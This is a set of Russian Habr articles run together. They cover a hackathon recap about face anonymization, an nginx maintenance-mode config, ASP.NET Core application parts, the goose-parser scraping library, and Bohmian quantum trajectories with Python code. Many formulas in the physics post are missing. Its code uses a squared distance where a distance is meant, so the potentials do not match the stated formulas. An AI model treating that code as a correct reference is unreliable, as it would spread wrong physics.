3. Фейс свап и изменение волос. Тут что заведется.
4. Все вместе. Слайд, который показывает, что это делается в "три клика".
Но оказалось, что презентация не нужна. К вечеру субботы всем объявили, что на защите должно быть выступление на 3 минуты без презентации. Со сцены необходимо будет показывать свое демо в режиме реального времени. Организаторы хотят увидеть работающие технологии, а не красивые презентации, и это круто. Сравнивая с другими хакатонами, где выигрывали команды с неработающим демо, такая концепция нам понравилось. Небольшая проблема была лишь в том, что на тот момент наша куча моделей запускалась по отдельности и очень долго. Для показа со сцены была необходима оптимизация.
Во время разработки по залу ходили менторы из технической комиссии и смотрели на прогресс. После очередного общения с одним из менторов мы получили фидбек, что лучше бы нам сосредоточиться на чем-то одном, по его мнению, на изменении одежды. PicsArt хочет, чтобы результат был реалистичным и его можно было показать пользователям. На самом деле у разных менторов и членов жюри были разные точки зрения на то, каким должен быть идеальный проект для них.
**Несколько сообщений из командного чата на тот момент**
> То им вирусный эффект на сайте хакатона, то серьезный редактор
>
>
>
> Бле, не хакатон, а сплошное: "тут новая инфа, переделываем все что у нас есть"
После того, как изменение волос не завелось CycleGAN-ом, решили попробовать другой подход. Вначале сегментировать волосы, а затем на них применять inpainting. Задача inpainting — восстановить скрытую часть изображения по окружающему контексту. По нашему плану — скрываем волосы, а нейронная сеть будет пытаться восстановить их. Но так как сеть не видела, какие волосы у данного человека, она будет восстанавливать другую прическу. Проблема в том, что даже обученные на лицах людей модели не смогли нормально восстанавливать волосы (если закрасить лишь часть волос, то работает).
Основная сложность — огромное разнообразие причесок. Была идея обучить inpainting только на лысых людях, и тогда бы модель, вероятно, научилась менять любую прическу на отсутствие волос. Реализацию нейронной сети мы взяли из [этого репозитория](https://github.com/JiahuiYu/generative_inpainting).
Так как демо нужно будет показывать со сцены в режиме реального времени, пришлось оптимизировать скорость работы пайплайна. Наибольшей прирост скорости дал перенос всех нейронных сетей в память на все время работы приложения. Не обошлось и без трудностей: начиная делать все в docker, но забив по ходу, несколько раз попадали на боль с версиями tensorflow. На самом деле сложно не попасть в такую ситуацию, когда в день пробуешь запустить десяток репозиториев с гитхаба, в каждом из которых используется разная версия tensorflow, обновляя до нужной версии в одном месте — ломаешь в другом. Docker может быть хорошим другом в такой ситуации, но в условиях хакатона хочется каждую минуту тратить на проверку новых гипотез, а не на создание нового образа. Тем не менее, поддаваясь на такое искушение, вы рискуете еще больше времени потратить на отладку кода и попытки понять, какая версия библиотеке в каком месте вам нужна.
Финальный день
--------------
В воскресенье утром мы определились с финальным видением продукта (пора бы уже): изменение одежды с возможностью улучшения неба. Хотелось максимально сузить задачу, но и делать только изменение одежды казалось слишком мало. Вот так выглядел “дизайн” нашего веб приложения.
Изначально хотели добавить адаптивный дизайн, чтобы было удобно смотреть с телефона. Но время поджимало, и наш дизайн свелся к np.vstack(imgs\_list).
Перед финальным выступлением хотелось довести фичу с одеждой до законченного состояния. Было добавлено альфа смешивание одежды и фона — исчезли резкие переходы. Оставили только самые реалистичные текстуры — джинса и крокодиловая кожа. За несколько часов до показа удалось запустить сегментацию неба и перенос стиля на него из [этого репозитория](https://github.com/NVIDIA/FastPhotoStyle). Были варианты с превращением неба в апокалиптическое, ядовитое, мультяшное. Но самым подходящим тематике конкурса стало зимнее небо — его применение давало эффект “улучшателя” неба.
Оставалось совсем немного времени, когда все компоненты соединились в единое целое и заработали. Мы скачали множество фотографий с социальных сетей и планировали запускать на них приложение, чтобы выбрать самые удачные кейсы (начерепикать). Но оказалось, что наша команда выступает первой, поэтому все было максимально честно — показывали демо на случайных фотографиях.
Артур, выступая на сцене, смог раскрыть нашу идею, а Илья на проекторе демонстрировал наш MVP — на всех фото одежда поменялась, а небо улучшилось.
**Еще фото**
Не все участники смогли справиться с заданием — показывать только свою демку. Искушение добавить несколько красивых слайдов было велико. Из тех решений, которые нам понравились больше всех на защите — превращение видео в комиксы, а также соединение двух фотографий в одну.
Результаты
----------
В итоге, по инсайдерской инфе, наша команда заняла 6-е место в шаге от мани.
Постфактум, мы пришли к общему мнению (ну, кроме того, что 3 из топ 5 команд получили приз незаслуженно), что нужно было проявить стойкость и решительно допиливать первоначальную идею анонимизации. Даже сейчас, мы убеждены в том, что она годная и принесет ценность для ряда пользователей. Занимаясь развитием идеи с анонимизацией все выходные, мы бы, как минимум, получили больше фана.
Если вы никогда не участвовали в хакатонах, обязательно попробуйте — отличная проверка себя и своей команды, шанс реализовать что-то, на что никогда не хватало времени. Ну и конечно, обязательно делайте то, что нравится вам, ведь максимальный каеф от процесса можно получить только угарев по хардкору.
Текущее состояние проекта
-------------------------
Наша команда выложила код финальной демки на [GitHub](https://github.com/n01z3/deep-anonymizer). А также есть отдельный репозиторий, который делает именно [анонимизацию](https://github.com/EvgenyKashin/ItemSwap). В будущем есть планы по развитию первоначальной версии с анонимизацией: переписать все на PyTorch, обучить на фотографиях с большим разрешением и меньшим количеством шума (фотография только с одним лицом), а также поднять бота в telegram.
Для тех, кто уже сейчас хочет попробовать версию, рожденную в самом начале хакатона, в демо режиме запущен бот в [telegram](https://t.me/DbrainDeepAnonBot)(`@DbrainDeepAnon` -> `/start` -> `/unlock dbraindeepanon`). Он работает на сервере [Dbrain](http://dbrain.io/)(наша благодарность), на котором происходило все обучение переноса лиц, поэтому пробуйте пока не выключили. Для работы сервиса используется внутренняя обертка Dbrain — wrappa, которая позволяет легко обернуть docker контейнер и запустить telegram бота. В скором времени wrappa станет доступна в open source.
Хочется отметить, что наш труд не был напрасным. Благодаря DeepAnon, один “аноним”, сильно переживающий за приватность своих данных, наконец-то смог вести [инстаграм](https://www.instagram.com/anonchak) о своей жизни. Он больше не боится, что камеры в городе смогут распознать его лицо по фотографиям из социальных сетей, тем не менее друзья смогут узнать его. Лица всех людей в его инстаграме также подвергаются анонимизации.
Ссылки на репозитории, которые мы использовали:
<https://github.com/shaoanlu/faceswap-GAN>
<https://github.com/junyanz/pytorch-CycleGAN-and-pix2pix>
<https://github.com/sacmehta/ESPNet>
<https://github.com/JiahuiYu/generative_inpainting>
<https://github.com/NVIDIA/FastPhotoStyle>
P.S. Также, для фана, я попробовал переобучить сеть по замене лиц на одного из членов [ODS](http://ods.ai). Попробуйте угадать на кого. Сети дали название — TestesteroNet.
**Eще фото**
 | https://habr.com/ru/post/433586/ | null | ru | null |
# Nginx — уходим на технические работы
Совсем недавно возникла интересная задача: реализовать закрытие доступа к веб-сайту из вне, на время технических работ. Мне показалось, что это довольно распространенная задачка, решение которой заинтересует многих.
Один из возможных вариантов решения — ниже.
#### Дано
* Сервер: Ubuntu 10.04 LTS
* Nginx в качестве фронт-энда
#### Задача
Закрыть доступ к веб-сайту со всех внешних IP-адресов, *за исключением наших собственных* (или любых других, при желании). При этом крайне желательно соблюдение следующих условий:
* Время на «закрытие» должно быть минимальным (в иделе — меньше секунды)
* Каждый раз менять конфиг Nginx при проведении работ — нельзя
* Перезагружать Nginx при проведении работ тоже нельзя (ни restart, ни reload)
Столь жесткие условия продиктованы в первую очередь соображениями удобства использования и элегантности решения. Конечно же не являются обязательными.
#### Решение
##### 1. Собственно «Закрытие»
Было решено в качестве переключателя использовать триггер-файл (например, `/etc/nginx/maintenance.file` ). При его появлении Nginx должен будет возвращать код ошибки 503 и отображать соответствующую страничку. Для этого **сохраняем** куда-нибудь существующий конфиг:
`cp /etc/nginx/sites-enabled/default /etc/nginx/sites-enabled/default.save`
А потом вносим следующие изменения (выделены жирным шрифтом):
`server {
listen 80;
server_name example.com;
...
location / {
i**f (-f /etc/nginx/maintenance.file) {**
**return 503;**
**}**
# дальнейший конфиг остается неизменным
...
...
}
...
...
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /etc/nginx/error; # папка со страничками ошибок
}
}`
Теперь, если веб-сервер обнаружит файл `/etc/nginx/maintenance.file`, то тут же выдаст 503-ю и отобразит страницу ошибки. Таким образом «закрытие/открытие» может быть осуществлено созданием/удалением триггер-файла соответственно.
В данном случае 503-я будет показана всем без разбора, что противоречит изначальным условиям. Как обойти это — далее.
##### 2. Кому что показывать
Дабы иметь возможность визуального контроля содержимого веб-сайта при проведении различных манипуляций крайне желательно чтобы страничка «Ведутся технические работы» не показывалась нам самим. Для этого используем модуль [ngx\_http\_geo\_module](http://nginx.org/ru/docs/http/ngx_http_geo_module.html). Как написано в документации: "… он создаёт переменные, значения которых зависят от IP-адреса клиента." Именно то, что нужно.
Мы хотим чтоб 503-я показывалась только если: одновременно и IP — внешний, и триггер-файл существует. Простейшее решение, которое приходит в голову — двойное условие или же два вложенных IF-а. К сожалению, ни первое ни второе Nginx не понимает. Поэтому придется делать «финт ушами». Еще немного модифицируем конфиг.
`**geo $maintenance**
**{**
**default yes;** #по умолчанию - всем закрыть доступ
#далее указываем список IP, которым видеть страницу 503 не нужно
**127.0.0.1/32 no;**
**123.45.67.0/24 no;**
...
**}**
server {
listen 80;
server_name example.com;
...
location / {
**if (-f /etc/nginx/maintenance.file) {
set $tmp clo;
}
if ($maintenance = yes) {
set $action "${tmp}se";
}
if ($action = close) {
return 503;
}**
# дальше опять конфиг остается неизменным
...
...
}
...
...
error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /etc/nginx/error; # папка со страничками ошибок
}
}`
В секции `location /` указано подряд три условия, которые нам заменяют двойное условие: внешний IP плюс наличие триггер-файла.Тут следует немного объяснить как это работает. Проще всего это сделать на примере.
Пусть клиент с произвольным внешним IP запрашивает страницу. Кроме того: файл `/etc/nginx/maintenance.file` уже существует.
1. Так как триггер-файл создан: `$tmp = "clo"`
2. Айпишник не из списка исключений: `$maintenance = "yes"`
3. Поскольку `$maintenance = "yes"`, то: `$action = $tmp + "se" = "close"`
4. `$action = "close"`, значит происходит `return 503`
Все «чужие» видят страницу 503, а для нашей сети одно из условий не выполняется и переменная $action остается не полоной (`$action = "сlo"`). Как результат — для нас ничего не изменится и мы будем попадать на сайт.
Для того, чтобы модифицированный конфиг вступил в силу рестартуем веб-сервер
`sudo /etc/init.d/nginx restart`
Модуль [ngx\_http\_geo\_module](http://nginx.org/ru/docs/http/ngx_http_geo_module.html) имеет множество дополнительных «плюшек». Например, есть возможность подгружать список с адресами и значениями из отдельного файла. Это позволит быстро изменять список исключения, не меняя конфиг Nginx. За подробностями прошу в [документацию](http://nginx.org/ru/docs/http/ngx_http_geo_module.html).
На этом настройка окончена.
Использование:
* Закрыть доступ: `touch /etc/nginx/maintenance.file`
* Открыть доступ: `rm /etc/nginx/maintenance.file`
Очень надеюсь, что изложенный выше способ будет кому-то полезен и сэкономит время. | https://habr.com/ru/post/139968/ | null | ru | null |
# ASP.NET Core RC2: встроенная поддержка модульности (application parts)
Будучи исторически погруженным в вопросы разработки модульных приложения на ASP.NET, первое что я сделал, когда вышел ASP.NET Core RC2 – постарался перевести на него свой модульный фреймворк ExtCore. И вот тут оказалось, что в новой версии все изменилось и старые подходы из RC1 больше не работают, зато появились новые интересные возможности, о которых я и хочу рассказать.
Если коротко, то разработка модульных приложений в RC2 очень упрощена. Благодаря новой возможности «части приложения» (application parts), вы легко можете разделить свой большой проект на несколько более мелких и затем свободно компоновать их. Особенно это удобно при работе с областями (areas), которые и так изолируют набор контроллеров, представлений и прочих ресурсов — каждую область теперь можно выделить в отдельный проект. Насколько я понял (в частности, из [aspnet/Mvc#4089](https://github.com/aspnet/Mvc/issues/4089)), реализация ориентирована именно на разделение большого проекта на маленькие и только в части MVC. Остальное все-таки придется писать самому.
Реализация
----------
Для примера, создадим небольшое приложение и посмотрим, как все работает (предполагается, что вы уже зашли [сюда](https://www.microsoft.com/net/core) и установили все, что нужно). Итак, создаем проект:
На следующем шаге выбираем «Веб-приложение», чтобы Visual Studio создала для нас готовое к тестированию приложение:
Вот и все. Теперь запустим наше новое приложение:
Я не буду останавливаться на структуре проекта и на отличиях структуры от того, к чему мы привыкли в RC1. При желании, можно посмотреть [вот это](https://docs.asp.net/en/latest/migration/rc1-to-rc2.html).
Теперь добавим еще один проект в наше решение, на этот раз библиотеку классов:
Т. к. мы хотим посмотреть на работу контроллера и представления из нашей сборки, добавим в файл project.json ссылку на MVC. Также нам необходимо, чтобы представления в этом проекте были добавлены в сборку в виде ресурсов. Это делается при помощи соответствующей настройки в разделе buildOptions файла project.json. В результате получим такой файл:
```
{
"buildOptions": { "embed": [ "Views/**" ] },
"dependencies": {
"Microsoft.AspNetCore.Mvc": "1.0.0-rc2-final",
"NETStandard.Library": "1.5.0-rc2-24027"
},
"frameworks": {
"netstandard1.5": {
"imports": "dnxcore50"
}
},
"version": "1.0.0-*"
}
```
Теперь создадим в нашем проекте новый контроллер с единственным методом (для единообразия файл с классом контроллера желательно поместить в папку Controllers, хотя это и необязательно):
```
public class ModuleAController : Controller
{
public ActionResult Index()
{
return this.View();
}
}
```
Теперь в папке \Views\ModuleA создадим представление Index.cshtml с таким содержимым, которое вам нравится.
Проект готов. Соберем его. В папке с проектом появится папка bin (как в прошлых версиях ASP.NET), а в ней — наша сборка. Осталось только рассказать о ней основному приложения.
Откроем класс Startup проекта нашего приложения и перейдем к методу ConfigureServices. Первым делом загрузим нашу сборку с контроллером и представлением:
```
Assembly assembly = AssemblyLoadContext.Default.LoadFromAssemblyPath(@"абсолютный путь к сборке");
```
Далее, добавим загруженную сборку в качестве части приложения в MVC:
```
services.AddMvc().AddApplicationPart(assembly);
```
Практически все. Если сейчас запустить приложение и перейти по адресу /modulea, мы получим исключение: InvalidOperationException: The view 'Index' was not found. Чтобы объяснить MVC, что искать представления необходимо и внутри нашей сборки, добавим соответствующий провайдер файлов в настройках Razor. Модифицируем предыдущую строчку кода, чтобы получилось вот так:
```
services.AddMvc().AddApplicationPart(assembly).AddRazorOptions(
o =>
{
o.FileProviders.Add(new EmbeddedFileProvider(assembly, assembly.GetName().Name));
}
);
```
Наше приложение, состоящее из двух частей, готово. Запустим его, перейдем по адресу /modulea:
Очень здорово. Еще в RC1 для этого потребовалось бы больше кода. Но этого достаточно только до тех пор, пока вы не захотите использовать строго типизированные представления. Если добавить класс модели вида в наш проект, и затем указать его в качестве модели для нашего представления, во время выполнения мы получим исключение: The type or namespace name 'ModuleA' does not exist in the namespace 'AspNetCoreApplicationParts'. Связано это с тем, что наша сборка не входит в набор сборок, в котором Razor ищет типы при компиляции представлений. К счастью, есть [достаточно простой способ](https://github.com/aspnet/Mvc/issues/4087#issuecomment-191899644) это исправить. Кроме того, в ближайшем будущем в этом шаге не будет необходимости, т. к. сборки, добавленные как части приложения, будут участвовать в Razor-компиляции автоматически.
Модифицируем вызов функции AddRazorOptions, которую мы использовали на предыдущем шаге, таким образом:
```
.AddRazorOptions(
o =>
{
o.FileProviders.Add(new EmbeddedFileProvider(assembly, assembly.GetName().Name));
Action previous = o.CompilationCallback;
o.CompilationCallback = c =>
{
if (previous != null)
{
previous(c);
}
c.Compilation = c.Compilation.AddReferences(reference);
};
}
);
```
Осталось объявить переменную reference где-то перед загрузкой сборки:
```
PortableExecutableReference reference = MetadataReference.CreateFromFile(@"абсолютный путь к сборке");
```
Вот и все. Теперь мы можем использовать нашу модель вида. Запустим приложение и перейдем по адресу /modulea:
Кстати, еще в RC1 можно было использовать предварительную компиляцию представлений и не иметь проблем с разрешением типов моделей видов во время выполнения. К сожалению, в RC2 предварительная компиляция не поддерживается (насколько я понял, из-за сложности реализации), но [в будущем будет возвращена](https://github.com/aspnet/Mvc/issues/3993).
Результат
---------
Пожалуй, application parts — именно то, чего давно не хватало ASP.NET. Я потратил много времени, чтобы добиться аналогичного результата в предыдущих версиях (еще до ASP.NET Core). Надеюсь, приведенного примера вполне достаточно, чтобы начать использовать эту возможность. И спасибо ребятам из нашего чата в Gitter, вместе с которыми мы разбирались с RC2.
Весь проект целиком (в немного упрощенном виде) доступен на [GitHub](https://github.com/DmitrySikorsky/AspNetCoreApplicationParts). | https://habr.com/ru/post/301336/ | null | ru | null |
# Как парсить интернет по-гусиному
“Распарсить сайт” — словосочетание, которое повергало меня в уныние всего полгода назад. В моей голове сразу же проносились знакомые проблемы с настройкой фантома, или возней с селениумом. Мысли о возможной необходимости подменять useragent, пагинации и других действиях во время парсинга заставляли откладывать эту задачу в долгий ящик…
Но всё изменилось, когда я встретил Гуся. Мир парсинга заиграл новыми красками. Под катом я хочу показать несколько простых примеров, которые могут помочь распарсить непростые сайты.
Кстати, написав парсер, Гусь решил снять фильм про это, пока что вы можете насладиться трейлером:
Как натравить Гуся на сайт
--------------------------
Всем известно, Гусь любит пощипать — травку, бабушку, гусынь… и конечно же сайты. Чтобы Гусь отложил свои дела и пощипал сайт для вас, необходимо просто указать ему дорогу.
На данный момент Гусь умеет парсить:
* внутри nodejs, используя PhantomJS;
* прямо в браузере (идеально если вы пишете плагин для браузера)
* используя селениум
Каждый из способов имеет свои плюшки и недостатки. Например, Phantom может работать на сервере, но в нем не очень удобно дебажить, запуск Гуся в браузере требует внешнего инструмента, который садит Гуся на сайт. Селениум является довольно универсальным решением, но на данный момент Гусь только учится его использовать.
Итак, чтобы запустить Гуся на сайт, прежде всего надо выбрать и создать среду обитания. Возможные среды:
* PhantomEnvironment
* BrowserEnvironment
* SeleniumEnvironment
В данной статье я буду рассматривать PhantomEnvironment, как наиболее развитый на данный момент.
```
import {
PhantomEnvironment,
Parser
} from 'goose-parser';
const env = new PhantomEnvironment({
url: 'http://www.gooseplanet.ru/'
});
const parser = new Parser({env});
```
Среда определяет точку входа Гуся — УРЛ начальной страницы сайта.
### До парсинга
Зачастую, до того как мы начнем парсить нам необходимо выполнить какие-либо действия на странице. Например, поиск на гусином сайте знакомств. Гусь поищет за вас — только попросите.
```
const actions = [
{
type: 'type', // тип действия - печатать
text: 'гусыня', // Гусь будет искать гусынь, чтоб неплохо потоптаться
scope: '.field[name=search]' // селектор елемента
},
{
type: 'click',
scope: 'button[type=submit]',
waitForPage: true // если знаем что результаты откроются на новой странице
}
];
```
### Декларативность — наше всё
Гусь описателен. Он прост и немногословен.
### Пора бы и пощипать
Итак, теперь мы знаем, как найти гусынь. Пора стрельнуть у них адресок. Допустим верстка результатов поиска выглядит вот так:
```
* 
Кряша
Гусятник №5
* 
Гатильда
Хлев
```
Сориентируем Гуся, задав правила для расположения данных в этой верстке:
```
const rules = {
scope: '.goose-babe',
collection: [[
{
name: 'name',
scope: '.name'
},
{
name: 'address',
scope: 'address'
}
]]
};
```
### Запускаем Гуся!!
```
parser.parse({ actions, rules }).then(console.log);
```
И получаем результат:
```
[
{
"name": "Кряша",
"address": "Гусятник №5"
},
{
"name": "Гатильда",
"address": "Хлев"
}
]
```
### И это только начало
Конечно же данная статья лишь знакомит читателей с Гусем, а не описывает все его возможности. Подробно о том, что умеет Гусь можно прочитать в [документации](https://github.com/redco/goose-parser/blob/master/README.md). Но все же давайте перечислим некоторые приемы, которые Гусь приберег для непростых ситуаций:
* Гусь не боится пагинации — он может скролить страницы или прокликивать ссылки для получения нового контента. Вы можете даже научить Гуся кастомной пагинации;
* Гусь умеет ходить между страницами, важно и грациозно;
* Гусь может выполнять необходимые действия с клавиатурой и мышью для получения конкретного кусочка информации — у него очень шустрые лапки;
* Гусь может преобразовать полученные результаты;
* Гусь — умное, интеллигентное животное, вы можете рассказать ему новые фишки для парсинга и он начнет их применять — API для Гусь-парсера очень легко расширяется;
* Гусь — животное общинное, за счет своей любви к nodejs, легко может жить на гусиной ферме и парсить миллионы сайтов единовременно;
Поставьте Гусю звезду — и он захватит мир ради вас [github.com/redco/goose-parser](https://github.com/redco/goose-parser) | https://habr.com/ru/post/271425/ | null | ru | null |
# Квантовые траектории и с чем их едят
Эта небольшая заметка про то, как рисовать красивые картинки, ну и немного про физику, о которой редко говорят, про бомовскую квантовую механику.
Небольшое введение
------------------
Как нам любит рассказывать всякая научная фантастика и псевдонаучная ерунда, типа фильма «Секрет», законы микромира, очень сильно отличаются от привычных нам, классических.
В мире квантовой механики правит всем вероятность, задаваемая волновой функцией  (интересующиеся деталями могут заглянуть, например, в [пост «Мюонный катализ с точки зрения квантовой химии. Часть I: обычный водород vs. мюонный водород»](https://habr.com/ru/post/443232/)).
Из вероятностных свойств квантмеха растут ноги всяких забавных вещей, типа [котов Шрёдингера](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D1%82_%D0%A8%D1%80%D1%91%D0%B4%D0%B8%D0%BD%D0%B3%D0%B5%D1%80%D0%B0), [принципов неопределённости Гейзенберга](https://ru.wikipedia.org/wiki/%D0%9F%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF_%D0%BD%D0%B5%D0%BE%D0%BF%D1%80%D0%B5%D0%B4%D0%B5%D0%BB%D1%91%D0%BD%D0%BD%D0%BE%D1%81%D1%82%D0%B8) и [неравенств Белла](http://lurkmore.to/%D0%9A%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%B0%D1%8F_%D0%BC%D0%B5%D1%85%D0%B0%D0%BD%D0%B8%D0%BA%D0%B0#.D0.9D.D0.B5.D1.80.D0.B0.D0.B2.D0.B5.D0.BD.D1.81.D1.82.D0.B2.D0.BE_.D0.91.D0.B5.D0.BB.D0.BB.D0.B0).
Но все эти картинки со всякими орбиталями электрона не давали ответа на вопрос «как же электрон летит в пространстве». Чтобы прояснить эту ситуацию, физики потратили много времени, но так и не справились с этим. Зато [Дэвид Бом](https://ru.wikipedia.org/wiki/%D0%91%D0%BE%D0%BC,_%D0%94%D1%8D%D0%B2%D0%B8%D0%B4) (известный многим по [эффекту Ааронова — Бома](https://ru.wikipedia.org/wiki/%D0%AD%D1%84%D1%84%D0%B5%D0%BA%D1%82_%D0%90%D0%B0%D1%80%D0%BE%D0%BD%D0%BE%D0%B2%D0%B0_%E2%80%94_%D0%91%D0%BE%D0%BC%D0%B0)) окончательно создал [один из формализмов квантовой механики (имени себя)](https://ru.wikipedia.org/wiki/%D0%A2%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D0%B4%D0%B5_%D0%91%D1%80%D0%BE%D0%B9%D0%BB%D1%8F_%E2%80%94_%D0%91%D0%BE%D0%BC%D0%B0), в котором всё-таки есть траектории, по которым движется квантовая частица. И, в отличие от [фейнмановских интегралов по траекториям](https://ru.wikipedia.org/wiki/%D0%A4%D0%BE%D1%80%D0%BC%D1%83%D0%BB%D0%B8%D1%80%D0%BE%D0%B2%D0%BA%D0%B0_%D0%BA%D0%B2%D0%B0%D0%BD%D1%82%D0%BE%D0%B2%D0%BE%D0%B9_%D1%82%D0%B5%D0%BE%D1%80%D0%B8%D0%B8_%D1%87%D0%B5%D1%80%D0%B5%D0%B7_%D0%B8%D0%BD%D1%82%D0%B5%D0%B3%D1%80%D0%B0%D0%BB%D1%8B_%D0%BF%D0%BE_%D1%82%D1%80%D0%B0%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D0%B8%D1%8F%D0%BC), эта траектория у каждой частицы ровно одна. Это свойство принципиально позволяет отследить движение частиц, и сравнить движение классических и квантовых частиц, чем мы и займёмся в этой заметке.
**не только формализм**Собственно, сам формализм никому особо не интересен, но из этого формализма можно построить одну из интерпретаций квантовой механики, которую, из-за кажущийся простоты классической механики любят некоторые фрики (не многие, ибо въехать в это дело не очень просто).
Эту (как и другие) интерпретацию мы обсуждать не будем.
Классические и квантовые траектории
-----------------------------------
Мы будем рассматривать достаточно скучную систему: один электрон в поле нескольких протонов. Об этой системе, а также о классической и квантовой механике можно почитать в [первой](https://habr.com/ru/post/443232/) и [второй](https://habr.com/ru/post/445672/) частях постов «Мюонный катализ с точки зрения квантовой химии».
Классическая задача о движении частицы в некотором потенциале даётся вторым законом Ньютона:
где *m* — масса частицы, *x* — координата, *F* — сила, действующая на частицу, а  — вторая производная координаты частицы по времени, или ускорение. Если в системе действуют только потенциальные силы, то силу можно выразить через новую сущность, потенциальную энергию *V* как
В нашем случае, электрона в поле нескольких протонов,
где электрон взаимодействует с каждым из протонов по закону Кулона
, где *k* — коэффициент, равный 1 в атомных единицах, *e* — заряд электрона, а *R* — расстояние от электрона до протона.
В этом случае суммарный потенциал, действующий на электрон будет равен
где индекс *n* нумерует протоны (всего протонов *N* штук), а *Rn* — расстояние от электрона до *n*-го протона.
Численно решить диффур, который представляет из себя второй закон Ньютона, задача халтурная, главное задать начальные положение и скорость. Если электрон будет лететь слишком быстро, то он вырвется за пределы притяжения протона(ов) и улетит на бесконечность, а если энергии будет чуть-чуть, то он будет вечно бултыхаться туды-сюды в поле одного из ядер, никогда не посещая другие.
**Лучистое трение**Если бы мы учли [лучистое трение](https://ru.wikipedia.org/wiki/%D0%A0%D0%B0%D0%B4%D0%B8%D0%B0%D1%86%D0%B8%D0%BE%D0%BD%D0%BD%D0%BE%D0%B5_%D1%82%D1%80%D0%B5%D0%BD%D0%B8%D0%B5), которое возникает из-за того, что при движении с ускорением, электрон будет часть своей энергии движения отдавать электромагнитному полю, излучая его куда-то, то электрон в итоге скатился бы на ядро за какое-то время.
Так что происходит в классике, мы знаем.
А что же будет в бомовской динамике?
В этом случае частица тоже будет двигаться по второму закону Ньютона с потенциалом , где  — классический потенциал из обычного закона Ньютона, который в нашем случае имеет вид, данный выше.
Т.е. помимо классического потенциала, на неё будет действовать ещё и другая сущность: [квантовый потенциал](https://en.wikipedia.org/wiki/Quantum_potential) , имеющий (в 1D случае) вид
где *A* — это амплитуда (модуль) волновой функции  (, где  — фаза волновой функции).
Значит, чтобы получить уравнение движения квантовой частицы, нам всё равно нужно знать что-то о волновой функции.
**Про скрытые параметры**Формализм Бома является теорией со скрытыми параметрами. Но поскольку скрытый параметр (волновая функция) — нелокален, то результаты вычислений в этом формализме всё равно удовлетворяют вышеупомянутым неравенствам Белла.
В случае одного протона нам известно (см., например, [тут](https://habr.com/ru/post/443232/)) точное выражение волновой функции электрона в основном (1s) состоянии [[в атомных единицах](https://en.wikipedia.org/wiki/Hartree_atomic_units)]:
**О нормировке и единицах**В формуле для квантового потенциала, нормировка числителя сократится со знаменателем, поэтому мы о ней париться и не будем.
В аргументе экспоненты, на самом деле, стоит не , а , где  — это боровский радиус (0.529 Å). Но, поскольку мы юзаем атомные единицы, где , эту единицу длины мы можем позволить себе не писать. Поподробнее об этом можно почитать [тут](https://habr.com/ru/post/443232/).
В случае нескольких протонов, в рамках метода молекулярных орбиталей как комбинаций атомных орбиталей ([МО ЛКАО](https://ru.wikipedia.org/wiki/%D0%9C%D0%9E_%D0%9B%D0%9A%D0%90%D0%9E), см. [тут](https://habr.com/ru/post/445672/)) основное состояние с достаточной степенью точности будет даваться суммой 1s-орбиталей каждого из атомов:
Теперь, чтобы узнать квантовый потенциал, нужно всего-то воспользоваться этим выражением.
**Ну~~д~~жные вычисления**Функция  как сумма 1s орбиталей — действительная, поэтому .
Поскольку электрон может двигаться в трёх измерениях, нужно одномерную производную  заменить на её трёхмерное обобщение: . Оператор  можно представить как квадрат [оператора набла](https://ru.wikipedia.org/wiki/%D0%9E%D0%BF%D0%B5%D1%80%D0%B0%D1%82%D0%BE%D1%80_%D0%BD%D0%B0%D0%B1%D0%BB%D0%B0): . Также можно представить расстояние  как , где  — радиус-вектор электрона относительно **n**-го протона.
Тогда
Первая производная считается легко:
Вторая же производная уже несколько сложнее:
где  и
.
В итоге остаётся:
Поделив всё на  и домножив на 
получим
Единица при дифференцировании для получения силы исчезнет, поэтому можно смело оставить только второе слагаемое.
В итоге наш квантовый потенциал мы можем записать как
и с этим выражением мы можем уже гонять бомовскую динамику электрона в поле многих протонов.
Реализация
----------
Для этого всего безобразия был написан код на питоне, он доступен тут:
**Код на питоне**
```
from math import *
import numpy as np
cutoff=5.0e-4
Quantum=True
def dist(r1,r2):
return np.dot((r1-r2), (r1-r2))
def Vc(r, r0):
if dist(r, r0)>=cutoff:
return -1.0/dist(r, r0)
else:
return -1.0/cutoff
rH=[]
#h1
#rH.append(np.array([ 0.0, 0.0, 0.0]))
#h2
rH.append(np.array([-1.0, 0.0, 0.0]))
rH.append(np.array([+1.0, 0.0, 0.0]))
def Vat(r):
V=0.0
for rh in rH:
V+=Vc(r,rh)
return V
def PsiA(r):
psi=0.0
for rh in rH:
if dist(r, rh)<1.0e3:
psi+=np.exp(-dist(r, rh))
return psi
def Vq(r):
vq=0.0
for rh in rH:
if dist(r, rh)>=cutoff:
vq-=2.0*np.exp(-dist(r, rh))/dist(r, rh)
else:
vq-=2.0*np.exp(-cutoff)/cutoff
vq*=(-0.5) # -0.5*hbar**2/me
return vq
def GradF(F, r):
grad=np.zeros(3)
dx=0.1
for i in range(0,3):
dr=np.zeros(3)
dr[i]=dx
#print(dr)
#print(F(r+dr)-F(r-dr))
grad[i]+=(F(r+dr)-F(r-dr))/(2.*dx)
return grad
dt=0.001
tmax=2.0e1
DR=1.0
dx=0.001
MaxR=10.0
t=0.0
cent=np.zeros(3)
Ntrj=30
m=1.0
def GenRvBox(DX):
return np.random.uniform(-DX,+DX,3)
def GenRvSph(DX):
r=np.random.uniform(0.0,DX)
phi=np.random.uniform(0.0,2.0*np.pi)
theta=np.random.uniform(0.0,np.pi)
x=r*np.sin(theta)*np.cos(phi)
y=r*np.sin(theta)*np.sin(phi)
z=r*np.cos(theta)
return np.array([x,y,z])
for ntrj in range(0,Ntrj):
if Quantum:
outf=open("bmd_%05i" % (ntrj) + ".trj", "w")
else:
outf=open("cmd_%05i" % (ntrj) + ".trj", "w")
nat=np.random.randint(0,len(rH))
r=rH[nat]+GenRvSph(DR)
rprev=r+GenRvBox(dx)
outf.write("%15.10f %15.10f %15.10f\n" % tuple(r))
t=0.0
while t<=tmax and dist(r,cent)<=MaxR:
F= -GradF(Vat, r)
if Quantum:
F-= GradF(Vq, r)
rnew= 2.*r - rprev + (F/m)*dt**2
rprev=r
r=rnew
outf.write("%15.10f %15.10f %15.10f\n" % tuple(r))
t+=dt
outf.close()
exit()
```
Мы же только обсудим несколько моментов.
